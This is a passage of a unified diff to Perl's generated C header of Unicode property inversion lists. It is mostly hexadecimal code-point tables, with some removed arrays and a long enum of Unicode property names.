0x3040, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, + 0x3030, + 0x3031, + 0x3036, + 0x3038, + 0x303D, 0x3041, 0x3097, 0x3099, + 0x309B, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, - 0x3190, + 0x31A0, 0x31BB, - 0x31C0, - 0x31E4, 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, + 0x3200, + 0x3400, 0x4DB6, - 0x4DC0, - 0x9FEB, + 0x4E00, + 0x9FD6, 0xA000, 0xA48D, - 0xA490, - 0xA4C7, 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, 0xA62C, 0xA640, - 0xA6F8, - 0xA700, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, 0xA7AF, 0xA7B0, 0xA7B8, 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, + 0xA828, 0xA840, - 0xA878, + 0xA874, 0xA880, 0xA8C6, - 0xA8CE, + 0xA8D0, 0xA8DA, 0xA8E0, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, 0xA8FE, 0xA900, + 0xA92E, + 0xA930, 0xA954, - 0xA95F, + 0xA960, 0xA97D, 0xA980, - 0xA9CE, + 0xA9C1, 0xA9CF, 0xA9DA, - 0xA9DE, + 0xA9E0, 0xA9FF, 0xAA00, 0xAA37, @@ -371073,9 +94621,15 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xAA4E, 0xAA50, 0xAA5A, - 0xAA5C, + 0xAA60, + 0xAA77, + 0xAA7A, 0xAAC3, 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAF0, + 0xAAF2, 0xAAF7, 0xAB01, 0xAB07, @@ -371088,8 +94642,12 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xAB28, 0xAB2F, 0xAB30, + 0xAB5B, + 0xAB5C, 0xAB66, 0xAB70, + 0xABEB, + 0xABEC, 0xABEE, 0xABF0, 0xABFA, @@ -371108,6 +94666,8 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xFB13, 0xFB18, 0xFB1D, + 0xFB29, + 0xFB2A, 0xFB37, 0xFB38, 0xFB3D, @@ -371118,30 +94678,36 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xFB43, 0xFB45, 0xFB46, - 0xFBC2, + 0xFBB2, 0xFBD3, - 0xFD40, + 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFE, + 0xFDFC, 0xFE00, - 0xFE1A, + 0xFE10, 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, + 0xFE30, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, 0xFE70, 0xFE75, 0xFE76, 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF3B, + 0xFF3F, + 0xFF40, + 0xFF41, + 0xFF5B, + 0xFF66, 0xFFBF, 0xFFC2, 0xFFC8, @@ -371151,12 +94717,6 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xFFD8, 0xFFDA, 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, 0x10000, 0x1000C, 0x1000D, @@ -371171,35 +94731,29 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1005E, 0x10080, 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, + 0x10140, + 0x10175, + 0x101FD, 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, 0x102E0, - 0x102FC, + 0x102E1, 0x10300, - 0x10324, - 0x1032D, + 0x10320, + 0x10330, 0x1034B, 0x10350, 0x1037B, 0x10380, 0x1039E, - 0x1039F, + 0x103A0, 0x103C4, 0x103C8, + 0x103D0, + 0x103D1, 0x103D6, 0x10400, 0x1049E, @@ -371213,8 +94767,6 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x10528, 0x10530, 0x10564, - 0x1056F, - 0x10570, 0x10600, 0x10737, 0x10740, @@ -371233,25 +94785,23 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1083D, 0x1083F, 0x10856, - 0x10857, + 0x10860, + 0x10877, + 0x10880, 0x1089F, - 0x108A7, - 0x108B0, 0x108E0, 0x108F3, 0x108F4, 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, + 0x10900, + 0x10916, + 0x10920, 0x1093A, - 0x1093F, - 0x10940, 0x10980, 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, + 0x109BE, + 0x109C0, + 0x10A00, 0x10A04, 0x10A05, 0x10A07, @@ -371264,43 +94814,35 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x10A38, 0x10A3B, 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, + 0x10A40, 0x10A60, - 0x10AA0, + 0x10A7D, + 0x10A80, + 0x10A9D, 0x10AC0, + 0x10AC8, + 0x10AC9, 0x10AE7, - 0x10AEB, - 0x10AF7, 0x10B00, 0x10B36, - 0x10B39, + 0x10B40, 0x10B56, - 0x10B58, + 0x10B60, 0x10B73, - 0x10B78, + 0x10B80, 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, 0x10C00, 0x10C49, 0x10C80, 0x10CB3, 0x10CC0, 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, 0x11000, - 0x1104E, - 0x11052, + 0x11047, + 0x11066, 0x11070, 0x1107F, - 0x110C2, + 0x110BB, 0x110D0, 0x110E9, 0x110F0, @@ -371308,18 +94850,24 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x11100, 0x11135, 0x11136, - 0x11144, + 0x11140, 0x11150, + 0x11174, + 0x11176, 0x11177, 0x11180, - 0x111CE, + 0x111C5, + 0x111CA, + 0x111CD, 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, + 0x111DB, + 0x111DC, + 0x111DD, 0x11200, 0x11212, 0x11213, + 0x11238, + 0x1123E, 0x1123F, 0x11280, 0x11287, @@ -371330,7 +94878,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1128F, 0x1129E, 0x1129F, - 0x112AA, + 0x112A9, 0x112B0, 0x112EB, 0x112F0, @@ -371366,25 +94914,27 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x11370, 0x11375, 0x11400, + 0x1144B, + 0x11450, 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, 0x11480, + 0x114C6, + 0x114C7, 0x114C8, 0x114D0, 0x114DA, 0x11580, 0x115B6, 0x115B8, + 0x115C1, + 0x115D8, 0x115DE, 0x11600, + 0x11641, + 0x11644, 0x11645, 0x11650, 0x1165A, - 0x11660, - 0x1166D, 0x11680, 0x116B8, 0x116C0, @@ -371394,19 +94944,11 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1171D, 0x1172C, 0x11730, - 0x11740, + 0x1173A, 0x118A0, - 0x118F3, + 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, 0x11AC0, 0x11AF9, 0x11C00, @@ -371414,35 +94956,19 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x11C0A, 0x11C37, 0x11C38, - 0x11C46, + 0x11C41, 0x11C50, - 0x11C6D, - 0x11C70, + 0x11C5A, + 0x11C72, 0x11C90, 0x11C92, 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, 0x1246F, - 0x12470, - 0x12475, 0x12480, 0x12544, 0x13000, @@ -371455,18 +94981,16 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x16A5F, 0x16A60, 0x16A6A, - 0x16A6E, - 0x16A70, 0x16AD0, 0x16AEE, 0x16AF0, - 0x16AF6, + 0x16AF5, 0x16B00, - 0x16B46, + 0x16B37, + 0x16B40, + 0x16B44, 0x16B50, 0x16B5A, - 0x16B5B, - 0x16B62, 0x16B63, 0x16B78, 0x16B7D, @@ -371478,15 +95002,13 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x16F8F, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -371495,20 +95017,20 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1BC89, 0x1BC90, 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, + 0x1BC9D, + 0x1BC9F, + 0x1D165, + 0x1D16A, + 0x1D16D, + 0x1D173, + 0x1D17B, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -371548,9 +95070,37 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1D552, 0x1D6A6, 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, 0x1D7CC, 0x1D7CE, - 0x1DA8C, + 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, 0x1DA9B, 0x1DAA0, 0x1DAA1, @@ -371567,14 +95117,12 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1E02B, 0x1E800, 0x1E8C5, - 0x1E8C7, + 0x1E8D0, 0x1E8D7, 0x1E900, 0x1E94B, 0x1E950, 0x1E95A, - 0x1E95E, - 0x1E960, 0x1EE00, 0x1EE04, 0x1EE05, @@ -371641,72 +95189,12 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1EEAA, 0x1EEAB, 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, 0x1F130, - 0x1F16C, + 0x1F14A, + 0x1F150, + 0x1F16A, 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, + 0x1F18A, 0x20000, 0x2A6D7, 0x2A700, @@ -371715,2438 +95203,35 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, 0xE0100, 0xE01F0 }; -static const UV PL__PERL_NCHAR_invlist[] = { /* for all charsets */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFDD0, - 0xFDF0, - 0xFFFE, - 0x10000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_PATWS_invlist[] = { /* for ASCII/Latin1 */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xE, - 0x20, - 0x21, - 0x85, - 0x86, - 0x200E, - 0x2010, - 0x2028, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_PATWS_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x41, - 0x200E, - 0x2010, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_PATWS_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x41, - 0x200E, - 0x2010, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL__PERL_SURROGATE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ +static const UV XPosixXDigit_invlist[] = { /* for EBCDIC 037 */ + 13, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xD800, - 0xE000 -}; - -const char * deprecated_property_msgs[] = { - "", - "Surrogates should never appear in well-formed text, and therefore shouldn't be the basis for line breaking", - "Supplanted by Line_Break property values; see www.unicode.org/reports/tr14" + 0x81, + 0x87, + 0xC1, + 0xC7, + 0xF0, + 0xFA, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF27, + 0xFF41, + 0xFF47 }; -#define PL_HYPHEN (PL_HYPHEN_perl_aux + (MAX_UNI_KEYWORD_INDEX * 2)) -#define PL_LB__SG (PL_LB__SG_perl_aux + (MAX_UNI_KEYWORD_INDEX * 1)) +#endif /* defined(PERL_IN_PERL_C) */ -typedef enum { - PERL_BIN_PLACEHOLDER = 0, - PL_ADLM, - PL_AEGEANNUMBERS, - PL_AGE__10, - PL_AGE__2, - PL_AGE__2_DOT_1, - PL_AGE__3, - PL_AGE__3_DOT_1, - PL_AGE__3_DOT_2, - PL_AGE__4, - PL_AGE__4_DOT_1, - PL_AGE__5, - PL_AGE__5_DOT_1, - PL_AGE__5_DOT_2, - PL_AGE__6, - PL_AGE__6_DOT_1, - PL_AGE__6_DOT_2, - PL_AGE__6_DOT_3, - PL_AGE__7, - PL_AGE__8, - PL_AGE__9, - PL_AGE__NA, - PL_AGHB, - PL_AHOM, - PL_ALCHEMICAL, - PL_ALL, - PL_ALPHABETICPF, - PL_ANCIENTGREEKMUSIC, - PL_ANCIENTGREEKNUMBERS, - PL_ANCIENTSYMBOLS, - PL_ANY, - PL_ARAB, - PL_ARABICEXTA, - PL_ARABICMATH, - PL_ARABICPFA, - PL_ARABICPFB, - PL_ARABICSUP, - PL_ARMI, - PL_ARMN, - PL_ARROWS, - PL_ASCII, - PL_ASSIGNED, - PL_AVST, - PL_BALI, - PL_BAMU, - PL_BAMUMSUP, - PL_BASS, - PL_BATK, - PL_BC__AL, - PL_BC__AN, - PL_BC__B, - PL_BC__BN, - PL_BC__CS, - PL_BC__EN, - PL_BC__ES, - PL_BC__ET, - PL_BC__FSI, - PL_BC__L, - PL_BC__LRE, - PL_BC__LRI, - PL_BC__LRO, - PL_BC__NSM, - PL_BC__ON, - PL_BC__PDF, - PL_BC__PDI, - PL_BC__R, - PL_BC__RLE, - PL_BC__RLI, - PL_BC__RLO, - PL_BC__S, - PL_BC__WS, - PL_BENG, - PL_BHKS, - PL_BIDIC, - PL_BIDIM, - PL_BLOCKELEMENTS, - PL_BOPO, - PL_BOPOMOFOEXT, - PL_BOXDRAWING, - PL_BPT__C, - PL_BPT__N, - PL_BPT__O, - PL_BRAH, - PL_BRAI, - PL_BUGI, - PL_BUHD, - PL_BYZANTINEMUSIC, - PL_C, - PL_CAKM, - PL_CANS, - PL_CARI, - PL_CASED, - PL_CASEDLETTER, - PL_CCC__0, - PL_CCC__1, - PL_CCC__10, - PL_CCC__103, - PL_CCC__107, - PL_CCC__11, - PL_CCC__118, - PL_CCC__12, - PL_CCC__122, - PL_CCC__129, - PL_CCC__13, - PL_CCC__130, - PL_CCC__132, - PL_CCC__133, - PL_CCC__14, - PL_CCC__15, - PL_CCC__16, - PL_CCC__17, - PL_CCC__18, - PL_CCC__19, - PL_CCC__20, - PL_CCC__202, - PL_CCC__21, - PL_CCC__214, - PL_CCC__216, - PL_CCC__22, - PL_CCC__23, - PL_CCC__24, - PL_CCC__25, - PL_CCC__26, - PL_CCC__27, - PL_CCC__28, - PL_CCC__29, - PL_CCC__30, - PL_CCC__31, - PL_CCC__32, - PL_CCC__33, - PL_CCC__34, - PL_CCC__35, - PL_CCC__36, - PL_CCC__7, - PL_CCC__8, - PL_CCC__84, - PL_CCC__9, - PL_CCC__91, - PL_CCC__A, - PL_CCC__AL, - PL_CCC__AR, - PL_CCC__B, - PL_CCC__BL, - PL_CCC__BR, - PL_CCC__DA, - PL_CCC__DB, - PL_CCC__IS, - PL_CCC__L, - PL_CCC__R, - PL_CE, - PL_CF, - PL_CHAM, - PL_CHER, - PL_CHEROKEESUP, - PL_CI, - PL_CJK, - PL_CJKCOMPAT, - PL_CJKCOMPATFORMS, - PL_CJKCOMPATIDEOGRAPHS, - PL_CJKCOMPATIDEOGRAPHSSUP, - PL_CJKEXTA, - PL_CJKEXTB, - PL_CJKEXTC, - PL_CJKEXTD, - PL_CJKEXTE, - PL_CJKEXTF, - PL_CJKRADICALSSUP, - PL_CJKSTROKES, - PL_CJKSYMBOLS, - PL_CN, - PL_CO, - PL_COMPATJAMO, - PL_COMPEX, - PL_CONTROLPICTURES, - PL_COPT, - PL_COPTICEPACTNUMBERS, - PL_COUNTINGROD, - PL_CPRT, - PL_CUNEIFORMNUMBERS, - PL_CURRENCYSYMBOLS, - PL_CWCF, - PL_CWCM, - PL_CWKCF, - PL_CWL, - PL_CWT, - PL_CWU, - PL_CYPRIOTSYLLABARY, - PL_CYRILLICEXTA, - PL_CYRILLICEXTB, - PL_CYRILLICEXTC, - PL_CYRILLICSUP, - PL_CYRL, - PL_DASH, - PL_DEP, - PL_DEVA, - PL_DEVANAGARIEXT, - PL_DI, - PL_DIA, - PL_DIACRITICALS, - PL_DIACRITICALSEXT, - PL_DIACRITICALSFORSYMBOLS, - PL_DIACRITICALSSUP, - PL_DINGBATS, - PL_DOMINO, - PL_DSRT, - PL_DT__CAN, - PL_DT__COM, - PL_DT__ENC, - PL_DT__FIN, - PL_DT__FONT, - PL_DT__FRA, - PL_DT__INIT, - PL_DT__ISO, - PL_DT__MED, - PL_DT__NAR, - PL_DT__NB, - PL_DT__NONCANON, - PL_DT__NONE, - PL_DT__SML, - PL_DT__SQR, - PL_DT__SUB, - PL_DT__SUP, - PL_DT__VERT, - PL_DUPL, - PL_EARLYDYNASTICCUNEIFORM, - PL_EA__A, - PL_EA__F, - PL_EA__H, - PL_EA__N, - PL_EA__NA, - PL_EA__W, - PL_EGYP, - PL_ELBA, - PL_EMOTICONS, - PL_ENCLOSEDALPHANUM, - PL_ENCLOSEDALPHANUMSUP, - PL_ENCLOSEDCJK, - PL_ENCLOSEDIDEOGRAPHICSUP, - PL_ETHI, - PL_ETHIOPICEXT, - PL_ETHIOPICEXTA, - PL_ETHIOPICSUP, - PL_EXT, - PL_GCB__CN, - PL_GCB__L, - PL_GCB__PP, - PL_GCB__SM, - PL_GCB__T, - PL_GCB__V, - PL_GCB__XX, - PL_GEOMETRICSHAPES, - PL_GEOMETRICSHAPESEXT, - PL_GEOR, - PL_GEORGIANSUP, - PL_GLAG, - PL_GLAGOLITICSUP, - PL_GONM, - PL_GOTH, - PL_GRAN, - PL_GRBASE, - PL_GREEKEXT, - PL_GREK, - PL_GREXT, - PL_GUJR, - PL_GURU, - PL_HALFANDFULLFORMS, - PL_HALFMARKS, - PL_HAN, - PL_HANG, - PL_HANO, - PL_HATR, - PL_HEBR, - PL_HIGHPUSURROGATES, - PL_HIGHSURROGATES, - PL_HIRA, - PL_HLUW, - PL_HMNG, - PL_HST__NA, - PL_HUNG, - PL_HYPHEN_perl_aux, - PL_IDC, - PL_IDEO, - PL_IDEOGRAPHICSYMBOLS, - PL_IDS, - PL_IDSB, - PL_IDST, - PL_INADLAM, - PL_INAHOM, - PL_INANATOLIANHIEROGLYPHS, - PL_INARABIC, - PL_INARMENIAN, - PL_INAVESTAN, - PL_INBALINESE, - PL_INBAMUM, - PL_INBASSAVAH, - PL_INBATAK, - PL_INBENGALI, - PL_INBHAIKSUKI, - PL_INBOPOMOFO, - PL_INBRAHMI, - PL_INBUGINESE, - PL_INBUHID, - PL_INCARIAN, - PL_INCAUCASIANALBANIAN, - PL_INCHAKMA, - PL_INCHAM, - PL_INCHEROKEE, - PL_INCOPTIC, - PL_INCUNEIFORM, - PL_INCYRILLIC, - PL_INDEVANAGARI, - PL_INDICNUMBERFORMS, - PL_INDUPLOYAN, - PL_INEGYPTIANHIEROGLYPHS, - PL_INELBASAN, - PL_INETHIOPIC, - PL_INGEORGIAN, - PL_INGLAGOLITIC, - PL_INGOTHIC, - PL_INGRANTHA, - PL_INGREEK, - PL_INGUJARATI, - PL_INGURMUKHI, - PL_INHANGUL, - PL_INHANUNOO, - PL_INHATRAN, - PL_INHEBREW, - PL_INHIRAGANA, - PL_INIDC, - PL_INIMPERIALARAMAIC, - PL_ININSCRIPTIONALPAHLAVI, - PL_ININSCRIPTIONALPARTHIAN, - PL_INJAVANESE, - PL_INKAITHI, - PL_INKANNADA, - PL_INKATAKANA, - PL_INKHAROSHTHI, - PL_INKHMER, - PL_INKHOJKI, - PL_INKHUDAWADI, - PL_INLAO, - PL_INLEPCHA, - PL_INLIMBU, - PL_INLINEARA, - PL_INLYCIAN, - PL_INLYDIAN, - PL_INMAHAJANI, - PL_INMALAYALAM, - PL_INMANDAIC, - PL_INMANICHAEAN, - PL_INMARCHEN, - PL_INMASARAMGONDI, - PL_INMEETEIMAYEK, - PL_INMENDEKIKAKUI, - PL_INMEROITICCURSIVE, - PL_INMIAO, - PL_INMODI, - PL_INMONGOLIAN, - PL_INMRO, - PL_INMULTANI, - PL_INMYANMAR, - PL_INNABATAEAN, - PL_INNEWA, - PL_INNEWTAILUE, - PL_INNKO, - PL_INNUSHU, - PL_INOGHAM, - PL_INOLDHUNGARIAN, - PL_INOLDITALIC, - PL_INOLDPERMIC, - PL_INOLDPERSIAN, - PL_INOLDTURKIC, - PL_INORIYA, - PL_INOSAGE, - PL_INOSMANYA, - PL_INPAHAWHHMONG, - PL_INPAUCINHAU, - PL_INPC__BOTTOM, - PL_INPC__BOTTOMANDLEFT, - PL_INPC__BOTTOMANDRIGHT, - PL_INPC__LEFT, - PL_INPC__LEFTANDRIGHT, - PL_INPC__NA, - PL_INPC__OVERSTRUCK, - PL_INPC__RIGHT, - PL_INPC__TOP, - PL_INPC__TOPANDBOTTOM, - PL_INPC__TOPANDBOTTOMANDRIGHT, - PL_INPC__TOPANDLEFT, - PL_INPC__TOPANDLEFTANDRIGHT, - PL_INPC__TOPANDRIGHT, - PL_INPHAGSPA, - PL_INPHOENICIAN, - PL_INPSALTERPAHLAVI, - PL_INPUNCTUATION, - PL_INREJANG, - PL_INRUNIC, - PL_INSAMARITAN, - PL_INSAURASHTRA, - PL_INSC__AVAGRAHA, - PL_INSC__BINDU, - PL_INSC__BRAHMIJOININGNUMBER, - PL_INSC__CANTILLATIONMARK, - PL_INSC__CONSONANT, - PL_INSC__CONSONANTDEAD, - PL_INSC__CONSONANTFINAL, - PL_INSC__CONSONANTHEADLETTER, - PL_INSC__CONSONANTKILLER, - PL_INSC__CONSONANTMEDIAL, - PL_INSC__CONSONANTPLACEHOLDER, - PL_INSC__CONSONANTPRECEDINGREPHA, - PL_INSC__CONSONANTPREFIXED, - PL_INSC__CONSONANTSUBJOINED, - PL_INSC__CONSONANTSUCCEEDINGREPHA, - PL_INSC__CONSONANTWITHSTACKER, - PL_INSC__GEMINATIONMARK, - PL_INSC__INVISIBLESTACKER, - PL_INSC__MODIFYINGLETTER, - PL_INSC__NONJOINER, - PL_INSC__NUKTA, - PL_INSC__NUMBER, - PL_INSC__NUMBERJOINER, - PL_INSC__OTHER, - PL_INSC__PUREKILLER, - PL_INSC__REGISTERSHIFTER, - PL_INSC__SYLLABLEMODIFIER, - PL_INSC__TONELETTER, - PL_INSC__TONEMARK, - PL_INSC__VIRAMA, - PL_INSC__VISARGA, - PL_INSC__VOWEL, - PL_INSC__VOWELDEPENDENT, - PL_INSC__VOWELINDEPENDENT, - PL_INSHARADA, - PL_INSIDDHAM, - PL_INSINHALA, - PL_INSORASOMPENG, - PL_INSOYOMBO, - PL_INSUNDANESE, - PL_INSYLOTINAGRI, - PL_INSYRIAC, - PL_INTAGALOG, - PL_INTAGBANWA, - PL_INTAILE, - PL_INTAITHAM, - PL_INTAIVIET, - PL_INTAKRI, - PL_INTAMIL, - PL_INTANGUT, - PL_INTELUGU, - PL_INTHAANA, - PL_INTHAI, - PL_INTIBETAN, - PL_INTIFINAGH, - PL_INTIRHUTA, - PL_INUGARITIC, - PL_INVAI, - PL_INVS, - PL_INWARANGCITI, - PL_INZANABAZARSQUARE, - PL_IN__10, - PL_IN__1_DOT_1, - PL_IN__2, - PL_IN__2_DOT_1, - PL_IN__3, - PL_IN__3_DOT_1, - PL_IN__3_DOT_2, - PL_IN__4, - PL_IN__4_DOT_1, - PL_IN__5, - PL_IN__5_DOT_1, - PL_IN__5_DOT_2, - PL_IN__6, - PL_IN__6_DOT_1, - PL_IN__6_DOT_2, - PL_IN__6_DOT_3, - PL_IN__7, - PL_IN__8, - PL_IN__9, - PL_IPAEXT, - PL_ITAL, - PL_JAMO, - PL_JAMOEXTA, - PL_JAMOEXTB, - PL_JAVA, - PL_JG__AFRICANFEH, - PL_JG__AFRICANNOON, - PL_JG__AFRICANQAF, - PL_JG__AIN, - PL_JG__ALAPH, - PL_JG__ALEF, - PL_JG__BEH, - PL_JG__BETH, - PL_JG__BURUSHASKIYEHBARREE, - PL_JG__DAL, - PL_JG__DALATHRISH, - PL_JG__E, - PL_JG__FARSIYEH, - PL_JG__FE, - PL_JG__FEH, - PL_JG__FINALSEMKATH, - PL_JG__GAF, - PL_JG__GAMAL, - PL_JG__HAH, - PL_JG__HAMZAONHEHGOAL, - PL_JG__HE, - PL_JG__HEH, - PL_JG__HEHGOAL, - PL_JG__HETH, - PL_JG__KAF, - PL_JG__KAPH, - PL_JG__KHAPH, - PL_JG__KNOTTEDHEH, - PL_JG__LAM, - PL_JG__LAMADH, - PL_JG__MALAYALAMBHA, - PL_JG__MALAYALAMJA, - PL_JG__MALAYALAMLLA, - PL_JG__MALAYALAMLLLA, - PL_JG__MALAYALAMNGA, - PL_JG__MALAYALAMNNA, - PL_JG__MALAYALAMNNNA, - PL_JG__MALAYALAMNYA, - PL_JG__MALAYALAMRA, - PL_JG__MALAYALAMSSA, - PL_JG__MALAYALAMTTA, - PL_JG__MANICHAEANALEPH, - PL_JG__MANICHAEANAYIN, - PL_JG__MANICHAEANBETH, - PL_JG__MANICHAEANDALETH, - PL_JG__MANICHAEANDHAMEDH, - PL_JG__MANICHAEANFIVE, - 